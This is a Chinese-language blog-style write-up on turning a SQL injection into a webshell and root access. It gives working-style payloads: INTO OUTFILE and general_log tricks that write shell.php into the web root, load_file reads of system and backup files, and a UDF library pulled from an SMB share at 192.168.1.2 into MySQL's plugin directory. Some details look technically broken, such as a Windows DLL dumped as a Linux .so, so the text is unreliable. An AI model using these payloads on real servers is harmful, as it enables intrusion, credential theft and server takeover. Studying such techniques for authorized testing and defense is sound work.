sql注入getshell：从一条报错到服务器沦陷

凌晨两点，甲方发来一个链接，说后台登录框能弹数据库报错。我点开一看，URL参数里明晃晃挂着`?id=1'`，页面吐出一行完整SQL语法错误——连表名字段名都带出来了。这不是漏洞，这是门没锁，钥匙还插在锁孔里。

但getshell是另一回事。注入归注入，拿到webshell才算真正打通任督二脉。多数人卡在“有注入但写不进去文件”这一步。别急，先分清你手里是什么牌。

如果是**Union注入**，先数清楚字段数。`order by 5`报错，`order by 4`正常，说明四列。接着猜绝对路径——报错信息里找，或者用`@@datadir`、`@@basedir`直接查。路径到手，尝试`union select 1,"",3,4 into outfile '/var/www/html/shell.php'`。这一锤子下去，多半栽在权限上。MySQL的`secure_file_priv`如果非空，outfile直接哑火。这时候换一招：看能不能用`general_log`写日志。

```sql
set global general_log='on';
set global general_log_file='/var/www/html/shell.php';
select '';
```
三条语句，干净利落。前提是你有`SUPER`权限。很多站点的DB账号是专用低权限账号，压根碰不到全局变量。那就得回到文件层面找机会。

有一次我遇到个奇葩环境，MySQL权限锁得死死的，但注入点恰好能读文件。`load_file('/etc/passwd')`能出内容，说明有`FILE`权限。读不到web目录？那就读`.bash_history`，翻出运维的备份脚本，里面写着`/data/backup/site.zip`。顺藤摸瓜，发现备份目录和web目录在同一分区，而备份文件是root用户创建的——但解压时用了`chown -R www:www`。于是注入点里构造`select load_file('/data/backup/site.zip') into dumpfile '/var/www/html/backup.zip'`，把备份拖出来，解开，里面藏着数据库配置，密码是`Admin@2023`，后台登录进去，模板编辑功能直接写php。绕了一大圈，最后还是靠“人类习惯”——运维图省事，把备份权限搞得太宽。

更野的路子也有。某次渗透测试，注入点连`load_file`都被禁了，但页面回显支持报错注入。我用`extractvalue`把`version()`报出来，发现是Percona 5.7。接着试UDF提权——先得有个地方写so文件。注入里写不进文件，但SQL语句能触发`sys_eval`吗？不行，UDF得先上传库文件。最后怎么解决的？发现目标服务器开着SMB共享，匿名可写。我在共享目录扔了个`udf.dll`，再用SQL的`load_file('\\\\192.168.1.2\\share\\udf.dll') into dumpfile '/usr/lib/mysql/plugin/udf.so'`，瞬间落地。这一步能成，纯粹因为Windows共享没设密码——安全短板往往不在SQL本身。

别指望一条注入直接打通。真实场景里，getshell是组合拳：注入拿信息，信息带出路径，路径配合弱配置，弱配置再撞上粗心运维。我见过最讽刺的案例：注入点能读`/etc/shadow`，但root密码哈希解不开。最后用注入把`/root/.ssh/authorized_keys`读出来，发现运维直接把自己的公钥明文放在里面——连密码都不用破，用注入把公钥追加进去，SSH直接登root。

写shell这种事，技术含量其实不高。难点全在判断边界：哪个函数被禁，哪个目录可写，哪个服务以root跑。你手里的注入点是个杠杆，但支点得自己找。多数人卡在“有注入但写不进去文件”这一步，其实不是技术不够，是没把思路打开——文件写不进，那就写日志；日志写不进，那就读备份；读不到备份，那就翻历史命令。层层下探，总会碰到一个松动的螺丝。

最后提醒一句，别在没授权的地方试这些。真碰上个蜜罐，你写进去的`shell.php`可能是个陷阱，反向把你IP记下来，第二天就有警察叔叔请你喝茶。技术是把刀，切菜还是砍人，全看握刀的手。